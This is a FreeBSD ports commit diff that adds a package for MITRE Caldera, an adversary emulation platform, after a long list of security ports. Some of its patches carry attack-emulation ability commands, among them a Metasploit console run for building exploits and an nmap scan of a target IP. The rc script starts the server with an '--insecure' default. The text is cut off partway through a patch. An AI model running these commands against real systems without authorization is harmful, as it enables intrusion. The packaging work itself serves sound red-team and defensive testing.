SUBDIR += py-oscrypto SUBDIR += py-ospd-openvas SUBDIR += py-paramiko SUBDIR += py-pass-audit SUBDIR += py-pass-git-helper SUBDIR += py-passlib SUBDIR += py-pbkdf2 SUBDIR += py-pem SUBDIR += py-pgpdump SUBDIR += py-pgpy SUBDIR += py-plaso SUBDIR += py-potr SUBDIR += py-pwntools SUBDIR += py-pyaes SUBDIR += py-pyaff4 SUBDIR += py-pyaxo SUBDIR += py-pyblake2 SUBDIR += py-pyclamd SUBDIR += py-pycryptodome SUBDIR += py-pycryptodome-test-vectors SUBDIR += py-pycryptodomex SUBDIR += py-pyelliptic SUBDIR += py-pyhanko SUBDIR += py-pyhanko-certvalidator SUBDIR += py-pylibacl SUBDIR += py-pymacaroons SUBDIR += py-pynacl SUBDIR += py-pyotp SUBDIR += py-pyotp2289 SUBDIR += py-pysaml2 SUBDIR += py-pysaml24 SUBDIR += py-pysaml26 SUBDIR += py-pyscard SUBDIR += py-pysodium SUBDIR += py-pyspnego SUBDIR += py-python-axolotl SUBDIR += py-python-axolotl-curve25519 SUBDIR += py-python-cas SUBDIR += py-python-gnupg SUBDIR += py-python-gvm SUBDIR += py-python-jose SUBDIR += py-python-nss SUBDIR += py-python-openid SUBDIR += py-python-pam SUBDIR += py-python-pkcs11 SUBDIR += py-python-registry SUBDIR += py-python3-openid SUBDIR += py-python3-saml SUBDIR += py-pyvex SUBDIR += py-pywinrm SUBDIR += py-requests-credssp SUBDIR += py-requests-kerberos SUBDIR += py-ropgadget SUBDIR += py-ropper SUBDIR += py-rsa SUBDIR += py-safe SUBDIR += py-scp SUBDIR += py-scramp SUBDIR += py-scrypt SUBDIR += py-secure SUBDIR += py-securesystemslib SUBDIR += py-service-identity SUBDIR += py-signedjson SUBDIR += py-social-auth-core SUBDIR += py-spake2 SUBDIR += py-ssh-audit SUBDIR += py-sshpubkeys SUBDIR += py-sslyze SUBDIR += py-stem SUBDIR += py-stix SUBDIR += py-stix2 SUBDIR += py-stix2-patterns SUBDIR += py-taxii2-client SUBDIR += py-tinyaes SUBDIR += py-tls-parser SUBDIR += py-tlslite SUBDIR += py-tlslite-ng SUBDIR += py-trezor SUBDIR += py-trustme SUBDIR += py-truststore SUBDIR += py-tuf SUBDIR += py-txtorcon SUBDIR += py-uhashring SUBDIR += py-vici SUBDIR += py-virustotal-api SUBDIR += py-volatility3 SUBDIR += py-vpn-slice SUBDIR += py-vulndb SUBDIR += py-webauthn SUBDIR += py-xkcdpass SUBDIR += py-xmlsec SUBDIR += py-yara SUBDIR += py-yara-python-dex SUBDIR += py-yubikey-manager SUBDIR += py-zkg SUBDIR += py-zope.password SUBDIR += py-zxcvbn SUBDIR += pygost SUBDIR += qtkeychain SUBDIR += quantis-kmod SUBDIR += racoon2 SUBDIR += rage-encryption SUBDIR += ratproxy SUBDIR += rats SUBDIR += rcracki_mt SUBDIR += reop SUBDIR += rhash SUBDIR += rhonabwy SUBDIR += ridl SUBDIR += rifiuti2 SUBDIR += rkhunter SUBDIR += rndpassw SUBDIR += rnp SUBDIR += rotate SUBDIR += rpm-sequoia SUBDIR += rubygem-acme-client SUBDIR += rubygem-aes_key_wrap SUBDIR += rubygem-airbrussh SUBDIR += rubygem-android_key_attestation SUBDIR += rubygem-attr_encrypted SUBDIR += rubygem-attr_encrypted3 SUBDIR += rubygem-bcrypt SUBDIR += rubygem-bcrypt-ruby SUBDIR += rubygem-bcrypt_pbkdf SUBDIR += rubygem-cose SUBDIR += rubygem-cvss-suite SUBDIR += rubygem-declarative_policy SUBDIR += rubygem-devise-two-factor SUBDIR += rubygem-devise-two-factor-rails5 SUBDIR += rubygem-devise-two-factor-rails70 SUBDIR += rubygem-devise-two-factor41-rails70 SUBDIR += rubygem-devise_pam_authenticatable2 SUBDIR += rubygem-devise_pam_authenticatable2-rails61 SUBDIR += rubygem-digest SUBDIR += rubygem-digest-crc SUBDIR += rubygem-doorkeeper SUBDIR += rubygem-doorkeeper-openid_connect SUBDIR += rubygem-doorkeeper-rails5 SUBDIR += rubygem-doorkeeper-rails50 SUBDIR += rubygem-doorkeeper-rails61 SUBDIR += rubygem-doorkeeper-rails70 SUBDIR += rubygem-duo_api SUBDIR += rubygem-ed25519 SUBDIR += rubygem-encryptor SUBDIR += rubygem-ezcrypto SUBDIR += rubygem-googleauth SUBDIR += rubygem-gpgme SUBDIR += rubygem-gpgr SUBDIR += rubygem-gssapi SUBDIR += rubygem-haiti-hash SUBDIR += rubygem-hkdf SUBDIR += rubygem-hkdf0 SUBDIR += rubygem-hrr_rb_ssh SUBDIR += rubygem-hrr_rb_ssh-ed25519 SUBDIR += rubygem-lockbox SUBDIR += rubygem-metasploit-aggregator SUBDIR += rubygem-metasploit-concern SUBDIR += rubygem-metasploit-credential SUBDIR += rubygem-metasploit-model SUBDIR += rubygem-metasploit-payloads SUBDIR += rubygem-metasploit_data_models SUBDIR += rubygem-metasploit_payloads-mettle SUBDIR += rubygem-nessus_rest SUBDIR += rubygem-net-scp SUBDIR += rubygem-net-scp1 SUBDIR += rubygem-net-sftp SUBDIR += rubygem-net-sftp2 SUBDIR += rubygem-net-ssh SUBDIR += rubygem-net-ssh-gateway SUBDIR += rubygem-net-ssh-krb SUBDIR += rubygem-net-ssh-multi SUBDIR += rubygem-net-ssh5 SUBDIR += rubygem-net-ssh6 SUBDIR += rubygem-net-telnet SUBDIR += rubygem-nexpose SUBDIR += rubygem-nmap-parser SUBDIR += rubygem-omniauth SUBDIR += rubygem-omniauth-alicloud SUBDIR += rubygem-omniauth-atlassian-oauth2 SUBDIR += rubygem-omniauth-bitbucket SUBDIR += rubygem-omniauth-cas SUBDIR += rubygem-omniauth-dingtalk-oauth2 SUBDIR += rubygem-omniauth-gitlab SUBDIR += rubygem-omniauth-jwt SUBDIR += rubygem-omniauth-multipassword SUBDIR += rubygem-omniauth-oauth2-generic SUBDIR += rubygem-omniauth-rails_csrf_protection SUBDIR += rubygem-omniauth-saml SUBDIR += rubygem-omniauth-saml1 SUBDIR += rubygem-omniauth-shibboleth SUBDIR += rubygem-omniauth-shibboleth-redux SUBDIR += rubygem-omniauth1 SUBDIR += rubygem-openssl SUBDIR += rubygem-openssl-ccm SUBDIR += rubygem-openssl-cmac SUBDIR += rubygem-openssl-signature_algorithm SUBDIR += rubygem-openvas-omp SUBDIR += rubygem-origami SUBDIR += rubygem-pbkdf2-ruby SUBDIR += rubygem-pundit SUBDIR += rubygem-pundit61 SUBDIR += rubygem-pyu-ruby-sasl SUBDIR += rubygem-rack-oauth2 SUBDIR += rubygem-rack-oauth21 SUBDIR += rubygem-rasn1 SUBDIR += rubygem-razorback-scriptNugget SUBDIR += rubygem-rbnacl SUBDIR += rubygem-rbnacl-libsodium SUBDIR += rubygem-recog SUBDIR += rubygem-rex-arch SUBDIR += rubygem-rex-bin_tools SUBDIR += rubygem-rex-core SUBDIR += rubygem-rex-encoder SUBDIR += rubygem-rex-exploitation SUBDIR += rubygem-rex-java SUBDIR += rubygem-rex-mime SUBDIR += rubygem-rex-nop SUBDIR += rubygem-rex-ole SUBDIR += rubygem-rex-powershell SUBDIR += rubygem-rex-random_identifier SUBDIR += rubygem-rex-registry SUBDIR += rubygem-rex-rop_builder SUBDIR += rubygem-rex-socket SUBDIR += rubygem-rex-sslscan SUBDIR += rubygem-rex-struct2 SUBDIR += rubygem-rex-text SUBDIR += rubygem-rex-zip SUBDIR += rubygem-roauth SUBDIR += rubygem-rpam2 SUBDIR += rubygem-ruby-hmac SUBDIR += rubygem-ruby-rc4 SUBDIR += rubygem-ruby-saml SUBDIR += rubygem-ruby-saml115 SUBDIR += rubygem-safety_net_attestation SUBDIR += rubygem-scrypt SUBDIR += rubygem-securecompare SUBDIR += rubygem-securerandom SUBDIR += rubygem-signet SUBDIR += rubygem-six SUBDIR += rubygem-ssh_data SUBDIR += rubygem-sshkey SUBDIR += rubygem-sshkit SUBDIR += rubygem-sslshake SUBDIR += rubygem-ssrf_filter SUBDIR += rubygem-timfel-krb5 SUBDIR += rubygem-tpm-key_attestation SUBDIR += rubygem-twitter_oauth SUBDIR += rubygem-unix-crypt SUBDIR += rubygem-vault SUBDIR += rubygem-webauthn SUBDIR += rubygem-webpush SUBDIR += rustscan SUBDIR += s2n-tls SUBDIR += safesh SUBDIR += samhain SUBDIR += samhain-client SUBDIR += samhain-server SUBDIR += sancp SUBDIR += sasp SUBDIR += scanlogd SUBDIR += scrypt SUBDIR += seahorse SUBDIR += seal SUBDIR += seccure SUBDIR += seclists SUBDIR += secpanel SUBDIR += sectok SUBDIR += secure_delete SUBDIR += sedutil SUBDIR += sequoia SUBDIR += sequoia-sq SUBDIR += setaudit SUBDIR += sha1collisiondetection SUBDIR += sha2wordlist SUBDIR += shibboleth-idp SUBDIR += shibboleth-sp SUBDIR += sig2dot SUBDIR += signify SUBDIR += signing-party SUBDIR += silktools SUBDIR += sks SUBDIR += smurflog SUBDIR += sniffglue SUBDIR += snoopy SUBDIR += snort SUBDIR += snort-rep SUBDIR += snort2pfcd SUBDIR += snort3 SUBDIR += snortsam SUBDIR += snortsnarf SUBDIR += snowflake-tor SUBDIR += snuffleupagus SUBDIR += softether SUBDIR += softether-devel SUBDIR += softether5 SUBDIR += softhsm2 SUBDIR += solana SUBDIR += sops SUBDIR += spass SUBDIR += spass-qt5 SUBDIR += spectre-meltdown-checker SUBDIR += spm SUBDIR += sqlmap SUBDIR += sqlninja SUBDIR += srm SUBDIR += ssb SUBDIR += ssdeep SUBDIR += ssh-import-id SUBDIR += ssh-multiadd SUBDIR += ssh-tools SUBDIR += ssh-vault SUBDIR += sshguard SUBDIR += sshpass SUBDIR += ssl-admin SUBDIR += ssllabs-scan SUBDIR += sslproxy SUBDIR += sslscan SUBDIR += sslsplit SUBDIR += sssd SUBDIR += sssd2 SUBDIR += ssss SUBDIR += sst SUBDIR += starttls SUBDIR += steghide SUBDIR += stegify SUBDIR += step-certificates SUBDIR += step-cli SUBDIR += stoken SUBDIR += strongswan SUBDIR += stunnel SUBDIR += su-exec SUBDIR += subversion-gnome-keyring SUBDIR += sudo SUBDIR += sudoscript SUBDIR += super SUBDIR += suricata SUBDIR += swatchdog SUBDIR += tailscale SUBDIR += tang SUBDIR += tclsasl SUBDIR += tcpcrypt SUBDIR += teleport SUBDIR += testssl.sh SUBDIR += tfhe SUBDIR += tfsec SUBDIR += theonionbox SUBDIR += tinc SUBDIR += tinc-devel SUBDIR += tinyca SUBDIR += tls-check SUBDIR += tlsc SUBDIR += tor SUBDIR += totp-cli SUBDIR += tpm-quote-tools SUBDIR += tpm-tools SUBDIR += tpm2-abrmd SUBDIR += tpm2-pkcs11 SUBDIR += tpm2-tools SUBDIR += tpm2-tss SUBDIR += transcrypt SUBDIR += trezord SUBDIR += tripwire SUBDIR += trousers SUBDIR += trufflehog SUBDIR += tthsum SUBDIR += u2f-devd SUBDIR += uacme SUBDIR += ubuntu-keyring SUBDIR += unhide SUBDIR += unix-selfauth-helper SUBDIR += vanguards-tor SUBDIR += vault SUBDIR += vaultwarden SUBDIR += veracrypt SUBDIR += vigenere SUBDIR += vlock SUBDIR += vm-to-tor SUBDIR += vouch-proxy SUBDIR += vpnc SUBDIR += vuls SUBDIR += vuxml SUBDIR += vxquery SUBDIR += wapiti SUBDIR += wazuh-agent SUBDIR += wazuh-dashboard SUBDIR += wazuh-indexer SUBDIR += wazuh-manager SUBDIR += wazuh-server SUBDIR += webfwlog SUBDIR += webtunnel-tor SUBDIR += weggli SUBDIR += whatweb SUBDIR += wipe SUBDIR += wolfssh SUBDIR += wolfssl SUBDIR += wpa_supplicant SUBDIR += wpa_supplicant-devel SUBDIR += wpa_supplicant29 SUBDIR += xca SUBDIR += xinetd SUBDIR += xml-security SUBDIR += xmlsec1 SUBDIR += xorsearch SUBDIR += xray-core SUBDIR += yafic SUBDIR += yapet SUBDIR += yara SUBDIR += yersinia SUBDIR += ykclient SUBDIR += ykpers SUBDIR += ylva SUBDIR += yubico-piv-tool SUBDIR += yubikey-agent SUBDIR += yubikey-manager-qt SUBDIR += yubikey-personalization-gui SUBDIR += yubioath-desktop SUBDIR += zaproxy SUBDIR += zeek SUBDIR += zeronet SUBDIR += zlint SUBDIR += zzuf .include diff --git a/security/caldera4/Makefile b/security/caldera4/Makefile new file mode 100644 index 000000000000..5c3c0e8075da --- /dev/null +++ b/security/caldera4/Makefile @@ -0,0 +1,105 @@ +PORTNAME= caldera +DISTVERSION= 4.2.0 +PKGNAMESUFFIX= 4 +PORTREVISION= 4 +CATEGORIES= security python + +MAINTAINER= acm@FreeBSD.org +COMMENT= Automated Adversary Emulation Platform +WWW= https://github.com/mitre/caldera + +CONFLICTS= caldera + +LICENSE= APACHE20 +LICENSE_FILE= ${WRKSRC}/LICENSE + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}aiohttp>0:www/py-aiohttp@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}aiohttp-jinja2>0:www/py-aiohttp-jinja2@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}aiohttp-session>0:www/py-aiohttp-session@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}aiohttp-security>0:security/py-aiohttp-security@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}aiohttp-apispec>0:devel/py-aiohttp-apispec@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}Jinja2>0:devel/py-Jinja2@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}yaml>0:devel/py-yaml@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}websockets>0:devel/py-websockets@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}sphinx>0:textproc/py-sphinx@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}docutils>0:textproc/py-docutils@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}sphinx_rtd_theme>0:textproc/py-sphinx_rtd_theme@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}myst-parser>0:textproc/py-myst-parser@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}marshmallow>0:devel/py-marshmallow@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}dirhash>0:security/py-dirhash@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}docker>0:sysutils/py-docker@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}donut-shellcode>0:devel/py-donut-shellcode@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}marshmallow-enum>0:devel/py-marshmallow-enum@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}ldap3>0:net/py-ldap3@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}lxml>0:devel/py-lxml@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}reportlab>0:print/py-reportlab@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}svglib>0:converters/py-svglib@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}markdown>0:textproc/py-markdown@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}dnspython>0:dns/py-dnspython@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}asyncssh>0:security/py-asyncssh@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}aioftp>0:ftp/py-aioftp@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}pyautogui>0:x11/py-pyautogui@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}selenium>0:www/py-selenium@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}webdriver_manager>0:www/py-webdriver_manager@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}beautifulsoup>0:www/py-beautifulsoup@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}networkx>0:math/py-networkx@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}numpy>0:math/py-numpy@${PY_FLAVOR} \ + upx>0:archivers/upx \ + base64>0:converters/base64 \ + git>0:devel/git \ + bash>0:shells/bash + +USE_GITHUB= yes +GH_ACCOUNT= mitre +GH_PROJECT= ${PORTNAME} +GH_TUPLE= mitre:access:0e67776:access/plugins/access \ + mitre:atomic:9e2c958:atomic/plugins/atomic \ + mitre:builder:f2ce67c:builder/plugins/builder \ + mitre:compass:fb88e02:compass/plugins/compass \ + mitre:debrief:e4d4f9e:debrief/plugins/debrief \ + mitre:emu:02a0f3e:emu/plugins/emu \ + mitre:fieldmanual:c286e77:fieldmanual/plugins/fieldmanual \ + mitre:gameboard:3d98c32:gameboard/plugins/gameboard \ + mitre:human:4368dea:human/plugins/human \ + mitre:manx:e7205ea:manx/plugins/manx \ + mitre:response:889213a:response/plugins/response \ + mitre:sandcat:7c326bd:sandcat/plugins/sandcat \ + mitre:ssl:ac5bfcb:ssl/plugins/ssl \ + mitre:stockpile:960f9ad:stockpile/plugins/stockpile \ + mitre:training:b058b67:training/plugins/training + +USES= dos2unix go:run python +USE_PYTHON= cryptography + +NO_ARCH= yes +NO_BUILD= yes + +DOS2UNIX_REGEX= .*\.([yml]) +CALDERA_USER= caldera +CALDERA_GROUP= caldera +USERS= ${CALDERA_USER} +GROUPS= ${CALDERA_GROUP} + +USE_RC_SUBR= ${PORTNAME:S/-/_/} +SUB_FILES= pkg-message +SUB_LIST= PYTHON_CMD=${PYTHON_CMD} \ + WWWDIR=${WWWDIR} + +OPTIONS_DEFINE= HAPROXY +OPTIONS_DEFAULT=HAPROXY +HAPROXY_DESC= Support for HTTPS +HAPROXY_RUN_DEPENDS=haproxy24>0:net/haproxy24 + +post-extract: + ${RM} -R ${WRKSRC}/.github + cd ${WRKSRC} && ${RM} .coveragerc .dockerignore .eslintrc.js .flake8 \ + .git* .pre* .stylelintrc.json Dockerfile + +post-patch: + cd ${WRKSRC} && \ + ${FIND} . -type f -name "*.orig" -exec ${RM} "{}" \; + +do-install: + @cd ${WRKSRC} && ${COPYTREE_SHARE} . ${STAGEDIR}/${WWWDIR} + +.include diff --git a/security/caldera4/distinfo b/security/caldera4/distinfo new file mode 100644 index 000000000000..7542fc288b4e --- /dev/null +++ b/security/caldera4/distinfo @@ -0,0 +1,33 @@ +TIMESTAMP = 1687320760 +SHA256 (mitre-caldera-4.2.0_GH0.tar.gz) = 2c93501ca05fe89cd18a038376c278e50d371881dfe84824a0f98dc3d9023fd9 +SIZE (mitre-caldera-4.2.0_GH0.tar.gz) = 3777586 +SHA256 (mitre-access-0e67776_GH0.tar.gz) = dc80b9c5cb92f75fa6d18f618f64a4d3c5ddd1b08b020d86feb70fbaa0f4c43d +SIZE (mitre-access-0e67776_GH0.tar.gz) = 8494 +SHA256 (mitre-atomic-9e2c958_GH0.tar.gz) = 0fbd0c3bb2c3c621afcb8f271b76df0f6ac2bacd72a7f8d9771c94b9a3f5d085 +SIZE (mitre-atomic-9e2c958_GH0.tar.gz) = 15142 +SHA256 (mitre-builder-f2ce67c_GH0.tar.gz) = da9d987a2a656bb9eb5d1c0d36115c8fb8fe740503fa1a43a1bfcce1018f461b +SIZE (mitre-builder-f2ce67c_GH0.tar.gz) = 7944 +SHA256 (mitre-compass-fb88e02_GH0.tar.gz) = 6187446551f4041ac0a0c33689b4a62a39a02b285d988bd6f17647d89d98ce16 +SIZE (mitre-compass-fb88e02_GH0.tar.gz) = 5907 +SHA256 (mitre-debrief-e4d4f9e_GH0.tar.gz) = 721b262744118b91b812ec0e098fa0c75f845a7814d8fa58fa52a2ace04432ee +SIZE (mitre-debrief-e4d4f9e_GH0.tar.gz) = 998929 +SHA256 (mitre-emu-02a0f3e_GH0.tar.gz) = 9dd6b46fe93ba12467612e4bf4a45df5513dad1709a72addc3898c430b8ec1ad +SIZE (mitre-emu-02a0f3e_GH0.tar.gz) = 17467 +SHA256 (mitre-fieldmanual-c286e77_GH0.tar.gz) = 6f086d0d4f519d0dcf49fbded87ee8095622c3028461d745d2e7eea422d68d57 +SIZE (mitre-fieldmanual-c286e77_GH0.tar.gz) = 7828491 +SHA256 (mitre-gameboard-3d98c32_GH0.tar.gz) = 8415bbbc64fe78836afea2e364fe655cc364a5d70dcf3fbcb748617fc9b9ad0a +SIZE (mitre-gameboard-3d98c32_GH0.tar.gz) = 14753 +SHA256 (mitre-human-4368dea_GH0.tar.gz) = 4710f3d6c7b3f728274187c36cda53232b3609d8177ccad6b1968ae99d83724a +SIZE (mitre-human-4368dea_GH0.tar.gz) = 22846 +SHA256 (mitre-manx-e7205ea_GH0.tar.gz) = 5b39a00ff8bbe7b20d4cfcab6161edbbafd94fa9bd62af4741975f7759f7a470 +SIZE (mitre-manx-e7205ea_GH0.tar.gz) = 7352820 +SHA256 (mitre-response-889213a_GH0.tar.gz) = 4067efd0c4bddeed799255838a80316d96ba0c4cac84625d7d0257e44c00c4ee +SIZE (mitre-response-889213a_GH0.tar.gz) = 24463 +SHA256 (mitre-sandcat-7c326bd_GH0.tar.gz) = 60049cf759e8b31b29e84832a112c87be8101e303d088e0f2b9da4647f79855f +SIZE (mitre-sandcat-7c326bd_GH0.tar.gz) = 7816391 +SHA256 (mitre-ssl-ac5bfcb_GH0.tar.gz) = 01067db5fe9a32d07d13bbea4ffb6f3bd2907a57f2d50a7c7e9c5f2bdc823a12 +SIZE (mitre-ssl-ac5bfcb_GH0.tar.gz) = 6395 +SHA256 (mitre-stockpile-960f9ad_GH0.tar.gz) = 516d28ae26d66049e2273f60bbae0254b071152b613f259a7ff596ad2d92461f +SIZE (mitre-stockpile-960f9ad_GH0.tar.gz) = 4781396 +SHA256 (mitre-training-b058b67_GH0.tar.gz) = 44c5ee5f682918f1f8ace4ff4ea3b8e16d24795ff8b8fb5896d68c585d33b8c0 +SIZE (mitre-training-b058b67_GH0.tar.gz) = 491615 diff --git a/security/caldera4/files/caldera.in b/security/caldera4/files/caldera.in new file mode 100644 index 000000000000..d08e4fae7d5c --- /dev/null +++ b/security/caldera4/files/caldera.in @@ -0,0 +1,85 @@ +#!/bin/sh + +# PROVIDE: caldera +# REQUIRE: NETWORKING +# KEYWORD: shutdown +# +# Configuration settings for caldera in /etc/rc.conf: +# +# caldera_enable: run caldera as service (default=NO) +# caldera_flags: additional flags for caldera server +# + +. /etc/rc.subr + +name=caldera +rcvar=caldera_enable + +load_rc_config ${name} + +export PATH="${PATH}:/usr/local/bin:/usr/local/sbin" + +: ${caldera_enable:=NO} +: ${caldera_flags="--insecure"} + +caldera_env="GOCACHE=/tmp/caldera/.cache GOMODCACHE=/tmp/caldera/.vendor" +caldera_user="caldera" +caldera_wwwdir="%%WWWDIR%%" +caldera_logfile="/var/log/caldera.log" + +pidfile="/var/run/${name}.pid" +python_command="%%PYTHON_CMD%%" +python_script="${caldera_wwwdir}/server.py" +start_cmd=${name}_start +status_cmd=${name}_status +stop_cmd=${name}_stop +restart_cmd=${name}_restart +extra_commands="status" + +caldera_start() +{ + if [ ! -f ${pidfile} ] + then + cd ${caldera_wwwdir} && \ + daemon -u ${caldera_user} -p ${pidfile} -t ${name} -o ${caldera_logfile} \ + ${python_command} ${python_script} \ + ${caldera_flags} + + echo "Starting ${name}" + else + echo "${name} is running as pid" `cat ${pidfile}` + fi +} + +caldera_status() +{ + # If running, show pid + if [ -f ${pidfile} ] + then + echo "${name} is running as pid" `cat ${pidfile}` + else + echo "${name} is not running" + fi +} + +caldera_stop() +{ + if [ -f ${pidfile} ] + then + kill `cat ${pidfile}` + rm ${pidfile} + echo "Stopping ${name}" + else + echo "${name} not running? (check ${pidfile})." + fi +} + +caldera_restart() +{ + echo "Performing restart ${name}" + caldera_stop + sleep 3 + caldera_start +} + +run_rc_command "$1" diff --git a/security/caldera4/files/patch-plugins_access_data_abilities_build-capabilities_bed8f28e-c0ed-463e-9e31-d5607e5473df.yml b/security/caldera4/files/patch-plugins_access_data_abilities_build-capabilities_bed8f28e-c0ed-463e-9e31-d5607e5473df.yml new file mode 100644 index 000000000000..c0bc8a3c91ed --- /dev/null +++ b/security/caldera4/files/patch-plugins_access_data_abilities_build-capabilities_bed8f28e-c0ed-463e-9e31-d5607e5473df.yml @@ -0,0 +1,11 @@ +--- plugins/access/data/abilities/build-capabilities/bed8f28e-c0ed-463e-9e31-d5607e5473df.yml.orig 2021-10-01 14:07:40 UTC ++++ plugins/access/data/abilities/build-capabilities/bed8f28e-c0ed-463e-9e31-d5607e5473df.yml +@@ -7,7 +7,7 @@ + name: Build or acquire exploits + attack_id: T1349 + platforms: +- darwin,linux: ++ darwin,freebsd,linux: + sh: + command: | + msfconsole -r msf_extract.rc #{app.contact.http} #{app.api_key.red} diff --git a/security/caldera4/files/patch-plugins_access_data_abilities_technical-information-gathering_567eaaba-94cc-4a27-83f8-768e5638f4e1.yml b/security/caldera4/files/patch-plugins_access_data_abilities_technical-information-gathering_567eaaba-94cc-4a27-83f8-768e5638f4e1.yml new file mode 100644 index 000000000000..f7304f2ee2ad --- /dev/null +++ b/security/caldera4/files/patch-plugins_access_data_abilities_technical-information-gathering_567eaaba-94cc-4a27-83f8-768e5638f4e1.yml @@ -0,0 +1,11 @@ +--- plugins/access/data/abilities/technical-information-gathering/567eaaba-94cc-4a27-83f8-768e5638f4e1.yml.orig 2021-10-01 14:07:40 UTC ++++ plugins/access/data/abilities/technical-information-gathering/567eaaba-94cc-4a27-83f8-768e5638f4e1.yml +@@ -7,7 +7,7 @@ + name: Conduct active scanning + attack_id: T1254 + platforms: +- darwin,linux: ++ darwin,freebsd,linux: + sh: + command: | + ./scanner.sh #{target.ip} diff --git a/security/caldera4/files/patch-plugins_access_data_payloads_scanner.sh b/security/caldera4/files/patch-plugins_access_data_payloads_scanner.sh new file mode 100644 index 000000000000..acdadfff6d43 --- /dev/null +++ b/security/caldera4/files/patch-plugins_access_data_payloads_scanner.sh @@ -0,0 +1,11 @@ +--- plugins/access/data/payloads/scanner.sh.orig 2021-10-01 14:07:40 UTC ++++ plugins/access/data/payloads/scanner.sh +@@ -1,5 +1,5 @@ +-#!/bin/bash ++#!/bin/sh + + echo '[+] Starting basic NMAP scan' + nmap -Pn $1 +-echo '[+] Complete with module' +\ No newline at end of file ++echo '[+] Complete with module' diff --git a/security/caldera4/files/patch-plugins_atomic_app_atomic__svc.py b/security/caldera4/files/patch-plugins_atomic_app_atomic__svc.py new file mode 100644 index 000000000000..04e18806665b --- /dev/null +++ b/security/caldera4/files/patch-plugins_atomic_app_atomic__svc.py @@ -0,0 +1,20 @@ +--- plugins/atomic/app/atomic_svc.py.orig 2022-08-11 15:59:49 UTC ++++ plugins/atomic/app/atomic_svc.py +@@ -13,7 +13,7 @@ from app.utility.base_world import BaseWorld + from app.utility.base_service import BaseService + from app.objects.c_agent import Agent + +-PLATFORMS = dict(windows='windows', macos='darwin', linux='linux') ++PLATFORMS = dict(windows='windows', macos='darwin', linux='linux', freebsd='freebsd') + EXECUTORS = dict(command_prompt='cmd', sh='sh', powershell='psh', bash='sh') + RE_VARIABLE = re.compile('(#{(.*?)})', re.DOTALL) + PREFIX_HASH_LEN = 6 +@@ -45,7 +45,7 @@ class AtomicService(BaseService): + the `repo_url` parameter (eg. if you want to use a fork). + """ + if not repo_url: +- repo_url = 'https://github.com/redcanaryco/atomic-red-team.git' ++ repo_url = 'https://github.com/alonsobsd/atomic-red-team.git' + + if not os.path.exists(self.repo_dir) or not os.listdir(self.repo_dir): + self.log.debug('cloning repo %s' % repo_url) diff --git a/security/caldera4/files/patch-plugins_emu_app_emu__svc.py b/security/caldera4/files/patch-plugins_emu_app_emu__svc.py new file mode 100644 index 000000000000..735212716c22 --- /dev/null +++ b/security/caldera4/files/patch-plugins_emu_app_emu__svc.py @@ -0,0 +1,11 @@ +--- plugins/emu/app/emu_svc.py.orig 2022-06-12 20:12:01 UTC ++++ plugins/emu/app/emu_svc.py +@@ -12,7 +12,7 @@ + + + class EmuService(BaseService): +- _dynamicically_compiled_payloads = {'sandcat.go-linux', 'sandcat.go-darwin', 'sandcat.go-windows'} ++ _dynamicically_compiled_payloads = {'sandcat.go-linux', 'sandcat.go-darwin', 'sandcat.go-windows', 'sandcat.go-freebsd'} + _emu_config_path = "conf/default.yml" + + def __init__(self): diff --git a/security/caldera4/files/patch-plugins_gameboard_app_gameboard__api.py b/security/caldera4/files/patch-plugins_gameboard_app_gameboard__api.py new file mode 100644 index 000000000000..7121866698a1 --- /dev/null +++ b/security/caldera4/files/patch-plugins_gameboard_app_gameboard__api.py @@ -0,0 +1,11 @@ +--- plugins/gameboard/app/gameboard_api.py.orig 2021-12-22 15:33:52 UTC ++++ plugins/gameboard/app/gameboard_api.py +@@ -244,7 +244,7 @@ class GameboardApi(BaseService): + reference_ability = (await self.data_svc.locate('abilities', match=dict(ability_id='bf565e6a-0037-4aa4-852f-1afa222c76db')))[0] #TODO: replace + ability_id = str(uuid.uuid4()) + executors = [] +- for pl in ['windows', 'darwin', 'linux']: ++ for pl in ['windows', 'darwin', 'linux', 'freebsd']: + reference_executor = reference_ability.find_executor('elasticsearch', pl) + if not reference_executor: + continue diff --git a/security/caldera4/files/patch-plugins_human_templates_human.html b/security/caldera4/files/patch-plugins_human_templates_human.html new file mode 100644 index 000000000000..9bc604e58123 --- /dev/null +++ b/security/caldera4/files/patch-plugins_human_templates_human.html @@ -0,0 +1,40 @@ +--- plugins/human/templates/human.html.orig 2022-09-06 17:33:12 UTC ++++ plugins/human/templates/human.html +@@ -60,6 +60,7 @@ + +@@ -257,6 +258,11 @@ + ' && virtualenv -p python3 \''+humanName+'\' && \''+humanName+'/bin/pip\' install -r \''+humanName+'/requirements.txt\' && \''+humanName+'/bin/python\' 